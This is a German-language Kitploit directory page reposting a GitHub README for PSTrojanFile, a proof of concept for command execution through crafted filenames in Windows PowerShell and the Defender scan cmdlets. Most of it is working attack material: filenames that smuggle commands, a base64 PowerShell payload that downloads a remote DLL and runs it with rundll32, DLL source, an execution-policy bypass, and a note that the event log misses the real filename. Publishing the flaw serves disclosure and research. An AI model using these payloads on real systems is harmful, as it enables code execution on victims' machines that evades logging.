Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PSTrojanFile — Ungepatchter Windows PowerShell PoC zur Codeausführung über Dateinamen | Kitploit
Tools/GitHubGitHub/hyp3rlinx/pstrojanfile
Payload-GenerierungSchwachstellenanalyseExploitationIDS/IPS-UmgehungScripting & AutomatisierungCTFPenetrationstestsPapers & ForschungLernen & Bildung
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

Ungepatchter Windows PowerShell PoC zur Codeausführung über Dateinamen

4286vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

PSTrojanFile

Windows PowerShell Dateiname und Defender Anti-Malware API - Code Execution POC

Entdeckt von John Page (alias hyp3rlinx) 2019 und erneut geprüft 2023

Aktualisiert am 24. Dez. 2023

Umgehung des Hindernisses einfacher Anführungszeichen in PowerShell für Code-Ausführung und Bonus: PS Windows Eventlog versagt!
Semikolon und Freund "&"-Operator vereinen sich für beliebige Code-Ausführungsfähigkeiten.

Ungewollte Malware ausführen:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

ODER

Windows Defender Anti-Malware-Scan:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Wobei Malware.exe im selben Verzeichnis liegt, denken Sie an Drive-by-Download.

Windows Eventlog versagt, PS-Ereignis-ID 403 protokolliert den echten Dateinamen aufgrund von Kürzung nicht:

PS-Protokollauszug:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

Ping-cmd aufrufen? Warum nicht
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

Opfer abmelden:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

Aktualisiert: 7. Dez. 2023, CL- und Windows Defender-API-Vektor hinzugefügt, siehe unten:

Da es immer noch funktioniert, habe ich es abgestaubt und kleinere Verbesserungen vorgenommen:

  1. Eine entfernte DLL mittels rundll32 ausführen
  2. Ein unbeabsichtigtes sekundäres PS1-Skript oder eine lokale Textdatei ausführen (kann versteckt sein)
  3. Den PS1 Trojanischen Dateinamen-Ersteller Python3-Script aktualisiert

Erstmals 2019 an Microsoft gemeldet und bleibt bis zum Zeitpunkt dieses Schreibens ungefixt.

Remote-Code-Ausführung über einen speziell präparierten Dateinamen.

Der Fehler liegt am Semikolon ";" wir können einen Base64-Befehl dekodieren und direkt aus dem PS1-Dateinamen ausführen oder einfach Befehle ausführen.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

Befehle sofort aufrufen

"Testing;saps (gc -) PoC;.ps1"

Vektoren: Doppelklick, Ziehen und Ablegen auf PS-Verknüpfung

Nutzt alternative Kurzform-PS-Befehle wie "saps", "gc" zum Starten eines Prozesses und Get-Content usw.

DLL-Ausführungsbeispiel:

Erstellen Sie eine trojanische PS1-Datei, die versucht, eine entfernte DLL namens "1.d" herunterzuladen und auszuführen.

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

DLL-Code:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

Doppelklicken Sie auf die trojanische PS1-Datei.

Textdatei-Codeausführungsbeispiel:

Erstellen Sie eine PS1-Datei mit einem Namen, der saps "start a process" und gc "get-content" enthält. Dadurch werden Befehle aus einer versteckten Datei gelesen.

"Test;saps (gc -) PoC;.ps1"

Versteckt erstellen: attrib +s +h "-"

Doppelklick oder Ziehen und Ablegen.

Anforderungen:

a) PowerShell-PS1-Dateien müssen so eingestellt sein, dass sie standardmäßig mit PowerShell geöffnet werden

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) Der Benutzer muss auf das böswillig benannte PS1-Skript doppelklicken, es über die Befehlszeile ausführen oder per Drag & Drop ablegen

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

Update: Microsoft Defender Anti-Malware PowerShell API - Beliebige Codeausführung.

Microsoft Defender Anti-Malware und/oder PS-APIs können zur Ausführung von beliebigem Code führen. Z. B. das Scannen eines Verzeichnisses, einer .lnk-Verknüpfung oder sogar eines nicht vorhandenen Elements kann unbeabsichtigten Code ausführen. Dieser Vektor baut auf meinem früheren Advisory und dem anschließenden Projekt PSTrojanFile auf.

Anforderungen:

  1. Auf der CL ist das 'powershell'-Cmd vorangestellt oder wird durch Aufruf von PowerShell aus einem anderen Skript übergeben
  2. Eine ausführbare Datei mit demselben Namen wie der Parameter, die sich in der Nähe befindet

Beispiele:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe befindet sich auf dem Desktop)

Verzeichnis erstellen ";saps Test", Test.exe, Test.cmd usw. befinden sich auf demselben CL-Pfad
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Verzeichnis mit Semikolon erstellen, PE-Datei namens doom.exe im selben Pfad ablegen.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

Nicht zuletzt: Beim Abrufen eines Dateihashs in PowerShell werden Sie abgemeldet :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

Tool herunterladen